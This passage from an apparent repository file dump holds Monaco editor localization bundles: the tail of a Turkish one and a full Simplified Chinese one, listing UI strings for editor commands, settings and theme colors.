rengi.\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"Kapat\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"Varsayılan Yapılandırma Geçersiz Kılmaları\",\"{0} dili için geçersiz kılınacak düzenleyici ayarlarını yapılandırın.\",\"Bir dil için geçersiz kılınacak düzenleyici ayarlarını yapılandırın.\",\"'{0}' kaydedilemiyor. Bu, dile özgü düzenleyici ayarlarını tanımlamak için '\\\\\\\\[.*\\\\\\\\]$' özellik kalıbı ile eşleşir. 'configurationDefaults' ögesini kullanın.\",\"'{0}' kaydedilemiyor. Bu özellik zaten kayıtlı.\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"({0}) öğesine basıldı. Akorun ikinci tuşu bekleniyor...\",\"({0}, {1}) tuş bileşimi bir komut değil.\"],\"vs/platform/message/common/message\":[\"Kapat\",\"Daha Sonra\",\"İptal\"],\"vs/platform/theme/common/colorRegistry\":[\"Geçersiz renk biçimi. #RGB, #RGBA, #RRGGBB veya #RRGGBBAA kullanın\",\"Çalışma ekranında kullanılan renkler.\",\"Genel ön plan rengi. Bu renk, bir bileşen tarafından geçersiz kılınmadıkça kullanılır.\",\"Hata mesajları için genel ön plan rengi. Bu renk, bir bileşen tarafından geçersiz kılınmadıkça kullanılır.\",\"Ek bilgi sağlayan açıklama metni(örneğin bir etiket) için ön plan rengi.\",\"Odaklanılan ögeler için genel kenarlık rengi. Bu renk, bir bileşen tarafından geçersiz kılınmadıkça kullanılır.\",\"Daha yüksek karşıtlık için, ögelerin etrafında onları diğerlerinden ayıracak ekstra bir kenarlık.\",\"Daha yüksek karşıtlık için, aktif ögelerin etrafında onları diğerlerinden ayıracak ekstra bir kenarlık.\",\"Çalışma ekranındaki metin seçimlerinin arka plan rengi(örneğin girdi alanları veya metin alanları). Bunun, düzenleyicideki seçimlere uygulanmayacağını unutmayın.\",\"Metin ayırıcıların rengi.\",\"Metindeki bağlantıların ön plan rengi.\",\"Metindeki aktif bağlantıların ön plan rengi.\",\"Önceden biçimlendirilmiş metin parçalarının ön plan rengi.\",\"Metindeki alıntı bloklarının arka plan rengi.\",\"Metindeki alıntı bloklarının kenarlık rengi.\",\"Metindeki kod bloklarının arka plan rengi.\",\"Bul/değiştir gibi düzenleyici içindeki araçların gölge rengi.\",\"Giriş kutusu arka planı.\",\"Giriş kutusu ön planı.\",\"Giriş kutusu kenarlığı.\",\"Girdi alanlarındaki aktif seçeneklerin kenarlık rengi.\",\"Yer tutucu metin için girdi kutusu ön plan rengi.\",\"Bilgi önem derecesi için girdi doğrulama arka plan rengi.\",\"Bilgi önem derecesi için girdi doğrulama kenarlık rengi.\",\"Bilgi uyarısı için girdi doğrulama arka plan rengi.\",\"Uyarı önem derecesi için girdi doğrulama kenarlık rengi.\",\"Hata önem derecesi için girdi doğrulama arka plan rengi.\",\"Hata önem derecesi için girdi doğrulama kenarlık rengi.\",\"Açılır kutu arka planı.\",\"Açılır kutu ön planı.\",\"Açılır kutu kenarlığı.\",\"Liste/Ağaç aktifken odaklanılan ögenin Lise/Ağaç arka plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç aktifken odaklanılan ögenin Lise/Ağaç ön plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç aktifken seçilen ögenin Lise/Ağaç arka plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç aktifken seçilen ögenin Lise/Ağaç ön plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç pasifken seçilen ögenin Lise/Ağaç arka plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç pasifken seçilen ögenin Lise/Ağaç ön plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç pasifken seçilen ögenin Lise/Ağaç arka plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Liste/Ağaç pasifken seçilen ögenin Lise/Ağaç ön plan rengi. Bir aktif liste/ağaç, klavye odağındadır; pasif olan odakta değildir.\",\"Fare ile ögelerin üzerine gelindiğinde Liste/Ağaç arka planı.\",\"Fare ile ögelerin üzerine gelindiğinde Liste/Ağaç ön planı.\",\"Fare ile ögeler taşınırken Liste/Ağaç sürükle ve bırak arka planı.\",\"Liste/Ağaç içinde arama yaparken eşleşme vurgularının Liste/Ağaç ön plan rengi.\",\"Gruplama etiketleri için hızlı seçici rengi.\",\"Gruplama kenarlıkları için hızlı seçici rengi.\",\"Buton ön plan rengi.\",\"Buton arka plan rengi.\",\"Fareyle üzerine gelindiğinde buton arka plan rengi.\",\"Gösterge arka plan rengi. Göstergeler küçük bilgi etiketleridir, ör. arama sonucu sayısı için.\",\"Gösterge ön plan rengi. Göstergeler küçük bilgi etiketleridir, ör. arama sonucu sayısı için.\",\"Görünümün kaydırıldığını belirtmek için kaydırma çubuğu gölgesi.\",\"Kaydırma çubuğu kaydıracının arka plan rengi.\",\"Fareyle üzerine gelindiğinde kaydırma çubuğu kaydıracının arka plan rengi.\",\"Kaydırma çubuğu kaydıracının aktif iken arka plan rengi.\",\"Uzun süren işlemleri gösterebilen ilerleme çubuğunun arka plan rengi.\",\"Düzenleyici arka plan rengi.\",\"Düzenleyici varsayılan ön plan rengi.\",\"Bul/değiştir gibi düzenleyici araçlarının arka plan rengi.\",\"Editör araçlarının kenarlık rengi. Renk, araç bir kenarlığı olmasına karar verdiğinde ve renk hiçbir eklenti tarafından geçersiz kılınmadığında kullanılır.\",\"Düzenleyici seçiminin rengi.\",\"Yüksek karşıtlık için seçilen metnin rengi.\",\"Bir pasif düzenleyicideki seçimin rengi.\",\"Seçimle aynı içeriğe sahip bölgelerin rengi.\",\"Geçerli arama eşleşmesinin rengi.\",\"Diğer arama eşleşmelerinin rengi.\",\"Aramayı sınırlayan aralığı renklendirin.\",\"Bağlantı vurgusu gösterilen bir sözcüğün altını vurgulayın.\",\"Düzenleyici bağlantı vurgusunun arka plan rengi.\",\"Düzenleyici bağlantı vurgusunun kenarlık rengi.\",\"Aktif bağlantıların rengi.\",\"Eklenen metnin arka plan rengi.\",\"Çıkarılan metnin arka plan rengi.\",\"Eklenen metnin ana hat rengi.\",\"Çıkarılan metnin ana hat rengi.\",\"Satır içi birleştirme çakışmalarında geçerli üstbilgi arka planı.\",\"Satır içi birleştirme çakışmalarında geçerli içerik arka planı.\",\"Satır içi birleştirme çakışmalarında gelen üstbilgi arka planı.\",\"Satır içi birleştirme çakışmalarında gelen içerik arka planı.\",\"Satır içi birleştirme çakışmalarında ortak ata üstbilgisi arka planı.\",\"Satır içi birleştirme çakışmalarında ortak ata içeriği arka planı.\",\"Satır içi birleştirme çakışmalarında üst bilgi ve ayırıcıdaki kenarlık rengi.\",\"Satır içi birleştirme çakışmalarında geçerli genel bakış cetveli ön planı.\",\"Satır içi birleştirme çakışmalarında gelen genel bakış cetveli ön planı.\",\"Satır içi birleştirme çakışmalarında ortak ata genel bakış cetveli ön planı.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.tr.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.zh-cn.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.zh-cn\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (已再次发生)\"],\"vs/base/browser/ui/findinput/findInput\":[\"输入\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"区分大小写\",\"全字匹配\",\"使用正则表达式\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"错误: {0}\",\"警告: {0}\",\"信息: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"Command\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"错误\",\"警告\",\"信息\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}，选取器\",\"选取器\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"快速选取器。键入以缩小结果范围。\",\"快速选取器\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"折叠\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"文件过大，无法比较。\"],\"vs/editor/browser/widget/diffReview\":[\"关闭\",\"第 {0} 个差异(共 {1} 个): 未修改 {2}, {3} 行，已修改 {4}, {5} 行\",\"空白\",\"未修改 {0}，已修改 {1}: {2}\",\"+ 已修改 {0}: {1}\",\"- 未修改 {0}: {1} \",\"转至下一个差异\",\"转至上一个差异\"],\"vs/editor/common/config/commonEditorConfig\":[\"编辑器\",\"控制字体系列。\",\"控制字体粗细。\",\"以像素为单位控制字号。\",\"控制行高。使用 0 通过字号计算行高。\",\"以像素为单位控制字符间距。\",\"控制行号的显示。可能的值为“开”、“关”和“相对”。“相对”将显示从当前光标位置开始计数的行数。\",\"显示垂直标尺的列\",\"执行文字相关的导航或操作时将用作文字分隔符的字符\",\"一个制表符等于的空格数。该设置在 `editor.detectIndentation` 启用时根据文件内容进行重写。\",\"应为“number”。注意，值“auto”已由“editor.detectIndentation”设置替换。\",'按 \"Tab\" 时插入空格。该设置在 `editor.detectIndentation` 启用时根据文件内容进行重写。','应为 \"boolean\"。注意，值 \"auto\" 已由 \"editor.detectIndentation\" 设置替换。','当打开文件时，将基于文件内容检测 \"editor.tabSize\" 和 \"editor.insertSpaces\"。',\"控制选取范围是否有圆角\",\"控制编辑器是否可以滚动到最后一行之后\",\"控制是否显示 minimap\",\"控制是否自动隐藏迷你地图滑块。 \",\"呈现某行上的实际字符(与颜色块相反)\",\"限制最小映射的宽度，尽量多地呈现特定数量的列\",\"控制是否将编辑器的选中内容作为搜索词填入到查找组件\",\"控制当编辑器中选中多个字符或多行文字时是否开启“在选定内容中查找”选项 \",\"永不换行。\",\"将在视区宽度处换行。\",'将在 \"editor.wordWrapColumn\" 处换行。','将在最小视区和 \"editor.wordWrapColumn\" 处换行。',\"控制折行方式。可以选择： - “off” （禁用折行）， - “on” （视区折行）， - “wordWrapColumn”（在“editor.wordWrapColumn”处折行）或 - “bounded”（在视区与“editor.wordWrapColumn”两者的较小者处折行）。\",'在 \"editor.wordWrap\" 为 \"wordWrapColumn\" 或 \"bounded\" 时控制编辑器列的换行。',\"控制折行的缩进。可以是“none”、“same”或“indent”。\",'要对鼠标滚轮滚动事件的 \"deltaX\" 和 \"deltaY\" 使用的乘数 ',\"映射到“Control”（Windows 和 Linux）或“Command”（OSX）。\",\"映射到“Alt”（Windows 和 Linux）或“Option”（OSX）。\",\"用鼠标添加多个光标时使用的修改键。“ctrlCmd”映射为“Control”（Windows 和 Linux）或“Command”（OSX）。“转到定义”和“打开链接”功能的鼠标手势将会相应调整，不与多光标修改键冲突。\",\"在字符串内启用快速建议。\",\"在注释内启用快速建议。\",\"在字符串和注释外启用快速建议。\",\"控制键入时是否应自动显示建议\",\"控制延迟多少毫秒后将显示快速建议\",\"启用在输入时显示含有参数文档和类型信息的小面板\",\"控制编辑器是否应该在左括号后自动插入右括号\",\"控制编辑器是否应在键入后自动设置行的格式\",\"控制编辑器是否应自动设置粘贴内容的格式。格式化程序必须可用并且能设置文档中某一范围的格式。\",\"控制编辑器是否应在用户键入、粘贴或移动行时自动调整缩进。语言的缩进规则必须可用。\",\"控制键入触发器字符时是否应自动显示建议\",\"控制按“Enter”键是否像按“Tab”键一样接受建议。这能帮助避免“插入新行”和“接受建议”之间的歧义。值为“smart”时表示，仅当文字改变时，按“Enter”键才能接受建议\",'控制是否应在遇到提交字符时接受建议。例如，在 JavaScript 中，分号(\";\")可以为提交字符，可接受建议并键入该字符。',\"在其他建议上方显示代码片段建议。\",\"在其他建议下方显示代码片段建议。\",\"在其他建议中穿插显示代码片段建议。\",\"不显示代码片段建议。\",\"控制是否将代码段与其他建议一起显示以及它们的排序方式。\",\"控制没有选择内容的复制是否复制当前行。\",\"控制是否应根据文档中的字数计算完成。\",\"建议小组件的字号\",\"建议小组件的行高\",\"控制编辑器是否应突出显示选项的近似匹配\",\"控制编辑器是否应该突出显示语义符号次数\",\"控制可在概述标尺同一位置显示的效果数量\",\"控制概述标尺周围是否要绘制边框。\",'控制光标动画样式，可能的值为 \"blink\"、\"smooth\"、\"phase\"、\"expand\" 和 \"solid\"',\"通过使用鼠标滚轮同时按住 Ctrl 可缩放编辑器的字体\",'控制光标样式，接受的值为 \"block\"、\"block-outline\"、\"line\"、\"line-thin\" 、\"underline\" 和 \"underline-thin\"',\"启用字体连字\",\"控制光标是否应隐藏在概述标尺中。\",\"控制编辑器中呈现空白字符的方式，可能为“无”、“边界”和“全部”。“边界”选项不会在单词之间呈现单空格。\",\"控制编辑器是否应呈现控制字符\",\"控制编辑器是否应呈现缩进参考线\",\"控制编辑器应如何呈现当前行突出显示，可能为“无”、“装订线”、“线”和“全部”。\",\"控制编辑器是否显示代码滤镜\",\"控制编辑器是否启用代码折叠功能\",\"控制是否自动隐藏导航线上的折叠控件。\",\"当选择其中一项时，将突出显示匹配的括号。\",\"控制编辑器是否应呈现垂直字形边距。字形边距最常用于调试。\",\"在制表位后插入和删除空格\",\"删除尾随自动插入的空格\",\"即使在双击编辑器内容或按 Esc 键时，也要保持速览编辑器的打开状态。\",\"控制编辑器是否应该允许通过拖放移动所选项。\",\"编辑器将使用平台 API 以检测是否附加了屏幕阅读器。\",\"编辑器将对屏幕阅读器的使用进行永久优化。\",\"编辑器将不再对屏幕阅读器的使用进行优化。\",\"控制编辑器是否应运行在对屏幕阅读器进行优化的模式。\",\"控制编辑器是否应检测链接并使它们可被点击\",\"控制 Diff 编辑器以并排或内联形式显示差异\",\"控制差异编辑器是否将对前导空格或尾随空格的更改显示为差异\",\"控制差异编辑器是否为已添加/删除的更改显示 +/- 指示符号\",\"控制是否支持 Linux 主剪贴板。\"],\"vs/editor/common/config/editorOptions\":[\"现在无法访问编辑器。按 Alt+F1  显示选项。\",\"编辑器内容\"],\"vs/editor/common/controller/cursor\":[\"执行命令时出现意外异常。\"],\"vs/editor/common/model/textModelWithTokens\":[\"标记输入时模式失败。\"],\"vs/editor/common/modes/modesRegistry\":[\"纯文本\"],\"vs/editor/common/services/bulkEdit\":[\"这些文件也已同时更改: {0}\",\"未做编辑\",\"在 {1} 个文件中进行了 {0} 次编辑\",\"在 1 个文件中进行了 {0} 次编辑\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"光标所在行高亮内容的背景颜色。\",\"光标所在行四周边框的背景颜色。\",'突出显示范围的背景颜色，例如 \"Quick Open\" 和“查找”功能。',\"编辑器光标颜色。\",\"编辑器光标的背景色。可以自定义块型光标覆盖字符的颜色。\",\"编辑器中空白字符颜色。\",\"编辑器缩进参考线颜色。\",\"编辑器行号颜色。\",\"编辑器标尺的颜色。\",\"编辑器 CodeLens 的前景色\",\"匹配括号的背景色\",\"匹配括号外框颜色\",\"概览标尺边框的颜色。\",\"编辑器导航线的背景色。导航线包括边缘符号和行号。\",\"编辑器中错误波浪线的前景色。\",\"编辑器中错误波浪线的边框颜色。\",\"编辑器中警告波浪线的前景色。\",\"编辑器中警告波浪线的边框颜色。\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"转到括号\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"将插入点左移\",\"将插入点右移\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"转置字母\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"剪切\",\"复制\",\"粘贴\",\"复制并突出显示语法\"],\"vs/editor/contrib/comment/common/comment\":[\"切换行注释\",\"添加行注释\",\"删除行注释\",\"切换块注释\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"显示编辑器上下文菜单\"],\"vs/editor/contrib/find/browser/findWidget\":[\"查找\",\"查找\",\"上一个匹配\",\"下一个匹配\",\"在选定内容中查找\",\"关闭\",\"替换\",\"替换\",\"替换\",\"全部替换\",\"切换替换模式\",\"仅前 999 个结果突出显示，但所有查找操作均针对整个文本。\",\"第 {0} 个(共 {1} 个)\",\"无结果\"],\"vs/editor/contrib/find/common/findController\":[\"查找\",\"查找下一个\",\"查找上一个\",\"查找下一个选择\",\"查找上一个选择\",\"替换\",\"将选择添加到下一个查找匹配项\",\"将选择内容添加到上一查找匹配项\",\"将上次选择移动到下一个查找匹配项\",\"将上个选择内容移动到上一查找匹配项\",\"选择所有找到的查找匹配项\",\"更改所有匹配项\",\"显示下一个搜索结果\",\"显示上一个搜索结果\"],\"vs/editor/contrib/folding/browser/folding\":[\"展开\",\"以递归方式展开\",\"折叠\",\"以递归方式折叠\",\"全部折叠\",\"全部展开\",\"折叠级别 {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"在第 {0} 行进行了 1 次格式编辑\",\"在第 {1} 行进行了 {0} 次格式编辑\",\"第 {0} 行到第 {1} 行间进行了 1 次格式编辑\",\"第 {1} 行到第 {2} 行间进行了 {0} 次格式编辑\",\"格式化文件\",\"格式化选定代码\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"未找到“{0}”的任何定义\",\"找不到定义\",\" – {0} 定义\",\"转到定义\",\"打开侧边的定义\",\"查看定义\",\"未找到“{0}”的实现\",\"未找到实现\",\"– {0} 个实现\",\"转到实现\",\"速览实现\",\"未找到“{0}”的类型定义\",\"未找到类型定义\",\" – {0} 个类型定义\",\"转到类型定义\",\"快速查看类型定义\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"单击显示 {0} 个定义。\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"转到下一个错误或警告\",\"转到上一个错误或警告\",\"编辑器标记导航小组件错误颜色。\",\"编辑器标记导航小组件警告颜色。\",\"编辑器标记导航小组件背景色。\"],\"vs/editor/contrib/hover/browser/hover\":[\"显示悬停\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"正在加载...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"替换为上一个值\",\"替换为下一个值\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"向上复制行\",\"向下复制行\",\"向上移动行\",\"向下移动行\",\"按升序排列行\",\"按降序排列行\",\"裁剪尾随空格\",\"删除行\",\"行缩进\",\"行减少缩进\",\"在上面插入行\",\"在下面插入行\",\"删除左侧所有内容\",\"删除右侧所有内容\",\"合并行\",\"转置游标处的字符\",\"转换为大写\",\"转换为小写\"],\"vs/editor/contrib/links/browser/links\":[\"Cmd + 单击以跟踪链接\",\"Ctrl + 单击以跟踪链接\",\"Cmd + 单击以执行命令\",\"Ctrl + 单击以执行命令\",\"Alt + 单击以访问链接\",\"Alt + 单击以执行命令\",\"抱歉，无法打开此链接，因为其格式不正确: {0}\",\"抱歉，无法打开此链接，因为其目标丢失。\",\"打开链接\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"在上面添加光标\",\"在下面添加光标\",\"在行尾添加光标\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"触发参数提示\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}，提示\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"显示修补程序({0})\",\"显示修补程序\",\"快速修复\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\" – {0} 个引用\",\"查找所有引用\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"正在加载...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"在文件 {0} 的 {1} 行 {2} 列的符号\",\"{0}  中有 1 个符号，完整路径：{1}\",\"{1} 中有 {0} 个符号，完整路径：{2}\",\"未找到结果\",\"在 {0} 中找到 1 个符号\",\"在 {1} 中找到 {0} 个符号\",\"在 {1} 个文件中找到 {0} 个符号\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"解析文件失败。\",\"{0} 个引用\",\"{0} 个引用\",\"无可用预览\",\"引用\",\"无结果\",\"引用\",\"速览视图标题区域背景颜色。\",\"速览视图标题颜色。\",\"速览视图标题信息颜色。\",\"速览视图边框和箭头颜色。\",\"速览视图结果列表背景颜色。\",\"速览视图结果列表中行节点的前景色。\",\"速览视图结果列表中文件节点的前景色。\",\"速览视图结果列表中所选条目的背景颜色。\",\"速览视图结果列表中所选条目的前景色。\",\"速览视图编辑器背景颜色。\",\"速览视图编辑器中导航线的背景颜色。\",\"在速览视图结果列表中匹配突出显示颜色。\",\"在速览视图编辑器中匹配突出显示颜色。\"],\"vs/editor/contrib/rename/browser/rename\":[\"无结果。\",\"成功将“{0}”重命名为“{1}”。摘要：{2}\",\"抱歉，重命名无法执行。\",\"重命名符号\"],\"vs/editor/contrib/rename/browser/renameInputField\":['重命名输入。键入新名称并按 \"Enter\" 提交。'],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"扩大选择\",\"缩小选择\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"确认“{0}”插入以下文本：{1}\",\"触发建议\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"建议小组件的背景颜色\",\"建议小组件的边框颜色\",\"建议小组件的前景颜色。\",\"建议小组件中被选择条目的背景颜色。\",\"建议小组件中匹配内容的高亮颜色。\",\"阅读详细信息...{0}\",\"{0}(建议)具有详细信息\",\"{0}，建议\",\"阅读简略信息...{0}\",\"正在加载...\",\"无建议。\",\"{0}，已接受\",\"{0}(建议)具有详细信息\",\"{0}，建议\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"切换 Tab 键是否移动焦点\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"读取访问时符号的背景颜色，例如读取变量时。\",\"写入访问时符号的背景颜色，例如写入变量时。\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"关闭\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"默认配置替代\",\"针对 {0} 语言，配置替代编辑器设置。\",\"针对某种语言，配置替代编辑器设置。\",'无法注册“{0}”。其符合描述特定语言编辑器设置的表达式 \"\\\\\\\\[.*\\\\\\\\]$\"。请使用 \"configurationDefaults\"。',\"无法注册“{0}”。此属性已注册。\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"已按下({0})。正在等待同时按下第二个键...\",\"组合键({0}, {1})不是命令。\"],\"vs/platform/message/common/message\":[\"关闭\",\"稍后\",\"取消\"],\"vs/platform/theme/common/colorRegistry\":[\"颜色格式无效。请使用 #RGB、#RGBA、#RRGGBB 或 #RRGGBBAA\",\"工作台中使用的颜色。\",\"整体前景色。此颜色仅在不被组件覆盖时适用。\",\"错误信息的整体前景色。此颜色仅在不被组件覆盖时适用。\",\"提供其他信息的说明文本的前景色，例如标签文本。\",\"焦点元素的整体边框颜色。此颜色仅在不被其他组件覆盖时适用。\",\"在元素周围额外的一层边框，用来提高对比度从而区别其他元素。\",\"在活动元素周围额外的一层边框，用来提高对比度从而区别其他元素。\",\"工作台所选文本的背景颜色（例如输入字段或文本区域）。注意，本设置不适用于编辑器。\",\"文字分隔符的颜色。\",\"文本中链接的前景色。\",\"文本中活动链接的前景色。\",\"预格式化文本段的前景色。\",\"文本中块引用的背景颜色。\",\"文本中块引用的边框颜色。\",\"文本中代码块的背景颜色。\",\"编辑器内小组件（如查找/替换）的阴影颜色。\",\"输入框背景色。\",\"输入框前景色。\",\"输入框边框。\",\"输入字段中已激活选项的边框颜色。\",\"输入框中占位符的前景色。\",\"严重性为信息时输入验证的背景颜色。\",\"严重性为信息时输入验证的边框颜色。\",\"严重性为警告时输入验证的背景颜色。\",\"严重性为警告时输入验证的边框颜色。\",\"严重性为错误时输入验证的背景颜色。\",\"严重性为错误时输入验证的边框颜色。\",\"下拉列表背景色。\",\"下拉列表前景色。\",\"下拉列表边框。\",\"焦点项在列表或树活动时的背景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"焦点项在列表或树活动时的背景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"已选项在列表或树活动时的背景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"已选项在列表或树活动时的前景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"已选项在列表或树非活动时的背景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"已选项在列表或树非活动时的前景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"已选项在列表或树非活动时的背景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"已选项在列表或树非活动时的前景颜色。活动的列表或树具有键盘焦点，非活动的没有。\",\"使用鼠标移动项目时，列表或树的背景颜色。\",\"鼠标在项目上悬停时，列表或树的前景颜色。\",\"使用鼠标移动项目时，列表或树进行拖放的背景颜色。\",\"在列表或树中搜索时，其中匹配内容的高亮颜色。\",\"快速选取器分组标签的颜色。\",\"快速选取器分组边框的颜色。\",\"按钮前景色。\",\"按钮背景色。\",\"按钮在悬停时的背景颜色。\",\"Badge 背景色。Badge 是小型的信息标签，如表示搜索结果数量的标签。\",\"Badge 前景色。Badge 是小型的信息标签，如表示搜索结果数量的标签。\",\"表示视图被滚动的滚动条阴影。\",\"滚动条滑块背景色\",\"滚动条滑块在悬停时的背景色\",\"滚动条滑块被激活时的背景色\",\"表示长时间操作的进度条的背景色。\",\"编辑器背景颜色。\",\"编辑器默认前景色。\",\"编辑器组件(如查找/替换)背景颜色。\",\"编辑器小部件的边框颜色。此颜色仅在小部件有边框且不被小部件重写时适用。\",\"编辑器所选内容的颜色。\",\"用以彰显高对比度的所选文本的颜色。\",\"非活动编辑器中所选内容的颜色。\",\"与所选内容具有相同内容的区域颜色。\",\"当前搜索匹配项的颜色。\",\"其他搜索匹配项的颜色。\",\"限制搜索的范围的颜色。\",\"悬停提示显示时文本底下的高亮颜色。\",\"编辑器悬停提示的背景颜色。\",\"光标悬停时编辑器的边框颜色。\",\"活动链接颜色。\",\"已插入文本的背景颜色。\",\"被删除文本的背景颜色。\",\"插入的文本的轮廓颜色。\",\"被删除文本的轮廓颜色。\",\"内联合并冲突中当前版本区域的标头背景色。\",\"内联合并冲突中当前版本区域的内容背景色。\",\"内联合并冲突中传入的版本区域的标头背景色。\",\"内联合并冲突中传入的版本区域的内容背景色。\",\"内联合并冲突中共同祖先区域的标头背景色。\",\"内联合并冲突中共同祖先区域的内容背景色。\",\"内联合并冲突中标头和分割线的边框颜色。\",\"内联合并冲突中当前版本区域的概览标尺前景色。\",\"内联合并冲突中传入的版本区域的概览标尺前景色。\",\"内联合并冲突中共同祖先区域的概览标尺前景色。\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.zh-cn.js.map\n"
  },
  {
